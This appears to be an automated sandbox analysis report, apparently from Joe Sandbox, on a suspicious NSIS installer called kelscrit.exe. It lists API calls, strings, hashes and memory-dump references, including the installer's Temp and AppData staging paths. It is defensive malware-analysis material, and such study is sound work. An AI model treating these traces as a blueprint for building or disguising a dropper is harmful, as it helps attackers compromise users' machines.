FindFirstFileW.KERNELBASE(74DF3420,0042FAB8,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00405F97,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,00000000,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,C:\Users\user\AppData\Local\Temp\nst46B6.tmp,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,74DF3420,C:\Users\user\AppData\Local\Temp\), ref: 004068DF
FindClose.KERNELBASE(00000000), ref: 004068EB

Strings

C:\Users\user\AppData\Local\Temp\nst46B6.tmp, xrefs: 004068D4

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nst46B6.tmp
API String ID: 2295610775-1406930569
Opcode ID: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction ID: 1cf04926a4a3889f6b92b588199f87985a57aa1d1812818edfb9113e4ef6e03f
Opcode Fuzzy Hash: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction Fuzzy Hash: 53D012725162209BC240673CBD0C84B7A58AF253317518A3AF46AF61E0DB348C639699

Function 00403FF7 Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404033
ShowWindow.USER32(?), ref: 00404053
GetWindowLongW.USER32(?,000000F0), ref: 00404065
ShowWindow.USER32(?,00000004), ref: 0040407E
DestroyWindow.USER32 ref: 00404092
SetWindowLongW.USER32(?,00000000,00000000), ref: 004040AB
GetDlgItem.USER32(?,?), ref: 004040CA
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004040DE
IsWindowEnabled.USER32(00000000), ref: 004040E5
GetDlgItem.USER32(?,00000001), ref: 00404190
GetDlgItem.USER32(?,00000002), ref: 0040419A
SetClassLongW.USER32(?,000000F2,?), ref: 004041B4
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00404205
GetDlgItem.USER32(?,00000003), ref: 004042AB
ShowWindow.USER32(00000000,?), ref: 004042CC
KiUserCallbackDispatcher.NTDLL(?,?), ref: 004042DE
EnableWindow.USER32(?,?), ref: 004042F9
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040430F
EnableMenuItem.USER32(00000000), ref: 00404316
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040432E
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404341
lstrlenW.KERNEL32(0042CA68,?,0042CA68,00000000), ref: 0040436B
SetWindowTextW.USER32(?,0042CA68), ref: 0040437F
ShowWindow.USER32(?,0000000A), ref: 004044B3

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 121052019-0
Opcode ID: 85e06a1bfb462d71b49bda8b571905cea54c43c8c85ee92c4a54339351a5f343
Instruction ID: 8cad316efbf8f9c89f6feec2797fb874042f4abab253e3557332251604c97906
Opcode Fuzzy Hash: 85e06a1bfb462d71b49bda8b571905cea54c43c8c85ee92c4a54339351a5f343
Instruction Fuzzy Hash: C6C1A1B1500204BBDB206F61EE89E2B3AA8FB85755F01453EF751B51F0CB39A8529B2D

Function 00403C49 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040696B: GetModuleHandleA.KERNEL32(?,00000020,?,00403662,0000000C,?,?,?,?,?,?,?,?), ref: 0040697D
Part of subcall function 0040696B: GetProcAddress.KERNEL32(00000000,?), ref: 00406998

lstrcatW.KERNEL32(1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\kelscrit.exe",00008001), ref: 00403CCA
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,74DF3420), ref: 00403D4A
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000), ref: 00403D5D
GetFileAttributesW.KERNEL32(Call), ref: 00403D68
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres), ref: 00403DB1

Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB

RegisterClassW.USER32(004336A0), ref: 00403DEE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403E06
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403E3B
ShowWindow.USER32(00000005,00000000), ref: 00403E71
GetClassInfoW.USER32(00000000,RichEdit20W,004336A0), ref: 00403E9D
GetClassInfoW.USER32(00000000,RichEdit,004336A0), ref: 00403EAA
RegisterClassW.USER32(004336A0), ref: 00403EB3
DialogBoxParamW.USER32(?,00000000,00403FF7,00000000), ref: 00403ED2

Strings

RichEdit20W, xrefs: 00403E95, 00403E9B
RichEd32, xrefs: 00403E85
.DEFAULT\Control Panel\International, xrefs: 00403CB5
Control Panel\Desktop\ResourceLocale, xrefs: 00403C7D
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 00403CD9, 00403CE1, 00403D84, 00403D8A, 00403D9A
.exe, xrefs: 00403D57
RichEdit, xrefs: 00403EA4
RichEd20, xrefs: 00403E77
1033, xrefs: 00403C69, 00403CC5
"C:\Users\user\Desktop\kelscrit.exe", xrefs: 00403C4C
Call, xrefs: 00403D11, 00403D1A, 00403D28, 00403D77, 00403D7D
_Nb, xrefs: 00403DCD, 00403E35
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C4E

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\kelscrit.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-3766492010
Opcode ID: a4b6b062c3cda51b96eb3e1e848ea22fea792b1bb39582dd55e536ebb93ad2e9
Instruction ID: c722afd28cb3ad108a11d8546cd61d6ece1c23d3a169ae69e987cf65e7f86a01
Opcode Fuzzy Hash: a4b6b062c3cda51b96eb3e1e848ea22fea792b1bb39582dd55e536ebb93ad2e9
Instruction Fuzzy Hash: 7961C370500700BED620AF66AD46F2B3A6CEB85B5AF40053FF945B22E2DB7C5941CA6D

Function 004030A2 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004030B3
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\kelscrit.exe,00000400), ref: 004030CF

Part of subcall function 00406067: GetFileAttributesW.KERNELBASE(00000003,004030E2,C:\Users\user\Desktop\kelscrit.exe,80000000,00000003), ref: 0040606B
Part of subcall function 00406067: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040608D

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\kelscrit.exe,C:\Users\user\Desktop\kelscrit.exe,80000000,00000003), ref: 0040311B
GlobalAlloc.KERNELBASE(00000040,?), ref: 00403251

Strings

C:\Users\user\Desktop\kelscrit.exe, xrefs: 004030B9, 004030C8, 004030DC, 004030FC
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403278
C:\Users\user\Desktop, xrefs: 004030FD, 00403102, 00403108
soft, xrefs: 00403190
"C:\Users\user\Desktop\kelscrit.exe", xrefs: 004030A8
Inst, xrefs: 00403187
C:\Users\user\AppData\Local\Temp\, xrefs: 004030A9
Error launching installer, xrefs: 004030F2
Null, xrefs: 00403199

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\kelscrit.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\kelscrit.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-4272490539
Opcode ID: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction ID: 55eb758a8cc994b5b8f5e8324c308f37a69edd03a8198e206d37cac48cd63750
Opcode Fuzzy Hash: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction Fuzzy Hash: E9519171900204AFDB209FA5DD86B9E7EACEB09356F20417BF504B62D1C7789F408BAD

Function 004065B4 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004066D6
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,?,?,00000000,00000000,00425A20,74DF23A0), ref: 004066EC
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 0040674A
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 00406753
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,?,?,00000000,00000000,00425A20,74DF23A0), ref: 0040677E
lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,?,?,00000000,00000000,00425A20,74DF23A0), ref: 004067D8

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll, xrefs: 004065D8
Software\Microsoft\Windows\CurrentVersion, xrefs: 004066A7
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406778
Call, xrefs: 004065E1, 0040669B, 004066A2, 004066A6, 004066BF, 004066C0, 004066D5, 004066EB, 0040671C, 00406748, 0040677D, 00406783, 004067A0, 004067B3, 004067D1, 004067D7, 004067E0, 00406815

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-4246912092
Opcode ID: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction ID: fc4c1bf1ff31ba1b34cdfc75387d7881e57296f2874843d1a5ebc397bafcf832
Opcode Fuzzy Hash: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction Fuzzy Hash: D16135716042009BD720AF24DD80B6B76E8EF85328F12453FF647B32D0DB7D9961865E

Function 004032D9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403343
GetTickCount.KERNEL32 ref: 004033EA
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403413
wsprintfW.USER32 ref: 00403426

Strings

... %d%%, xrefs: 00403420
*B, xrefs: 00403304
ZB, xrefs: 004033C7, 004033E2, 0040345F
A, xrefs: 004034A3
A, xrefs: 00403399

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ ZB$ A$ A$... %d%%
API String ID: 551687249-3856725213
Opcode ID: 4d79547acdf73e44e2915cc23a34bb29038fe19ea0f8e502eb24a445e2a4333a
Instruction ID: 3a086bfa1ae904988031f2e91e2ff9394e13111a018eeb379290de00703e2b75
Opcode Fuzzy Hash: 4d79547acdf73e44e2915cc23a34bb29038fe19ea0f8e502eb24a445e2a4333a
Instruction Fuzzy Hash: 2F519F71900219DBCB11DF65DA44B9E7FB8AF44766F10413BE810BB2D1C7789A40CBA9

Function 00401794 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,?,?,00000031), ref: 004017D5
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres,?,?,00000031), ref: 004017FA

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

Part of subcall function 004055FC: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,00000000,00425A20,74DF23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
Part of subcall function 004055FC: lstrlenW.KERNEL32(0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,00000000,00425A20,74DF23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
Part of subcall function 004055FC: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,0040343D,0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,00000000,00425A20,74DF23A0), ref: 00405657
Part of subcall function 004055FC: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll), ref: 00405669
Part of subcall function 004055FC: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
Part of subcall function 004055FC: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
Part of subcall function 004055FC: SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Strings

Call, xrefs: 004017B2, 004017BB, 004017C8, 004017DA, 004017E6, 0040181C, 00401832, 00401850, 0040188C, 0040190D, 00401916, 00401920, 0040192B
C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll, xrefs: 0040185A, 00401876
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 004017C3
C:\Users\user\AppData\Local\Temp\nst46B6.tmp, xrefs: 00401846, 00401864

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nst46B6.tmp$C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$Call
API String ID: 1941528284-3260975546
Opcode ID: 92f8b93885e00e2238c8143a7be30e505a2fe7597e0250fcbd3cd8e0f990a4c4
Instruction ID: 896c0c78208a39cbb5dd39340d0745d1a2bf2ace5f7797069eceb710e9101d93
Opcode Fuzzy Hash: 92f8b93885e00e2238c8143a7be30e505a2fe7597e0250fcbd3cd8e0f990a4c4
Instruction Fuzzy Hash: 4C41B671900108BACB117BB5DD85DBE7AB9EF45328F21423FF412B10E2D73C8A919A2D

Function 004055FC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,00000000,00425A20,74DF23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
lstrlenW.KERNEL32(0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,00000000,00425A20,74DF23A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,0040343D,0040343D,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,00000000,00425A20,74DF23A0), ref: 00405657
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll), ref: 00405669
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll, xrefs: 0040561D, 0040562D, 00405633, 00405656, 00405662

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll
API String ID: 2531174081-2366063540
Opcode ID: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction ID: 60923f6e922cea494a698f26c75bee70e53a21f42b4b77269416c2a585f1ce57
Opcode Fuzzy Hash: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction Fuzzy Hash: 9A21A171900258BACB119FA5ED449DFBFB4EF45310F50843AF908B22A0C3794A40CFA8

Function 00402711 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 0040277D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004027B8
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027DB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027F1

Part of subcall function 00406148: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040615E

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040289D

Strings

9, xrefs: 00402760

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: e6852b5c5fbfd8bc876860f3b14f1bcaed0b753dd9a04d4db6e12186382bd870
Instruction ID: d1aefac9689752b6b3ea6a4f87dd4281ecbe68d6f3974aa7f4e2ef829afcd0bd
Opcode Fuzzy Hash: e6852b5c5fbfd8bc876860f3b14f1bcaed0b753dd9a04d4db6e12186382bd870
Instruction Fuzzy Hash: 66510C75D04119AADF20EFD4CA85AAEBBB9FF44304F14817BE501B62D0D7B89D828B58

Function 004068FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406912
wsprintfW.USER32 ref: 0040694D
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406961

Strings

%s%S.dll, xrefs: 00406947
UXTHEME, xrefs: 00406904

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

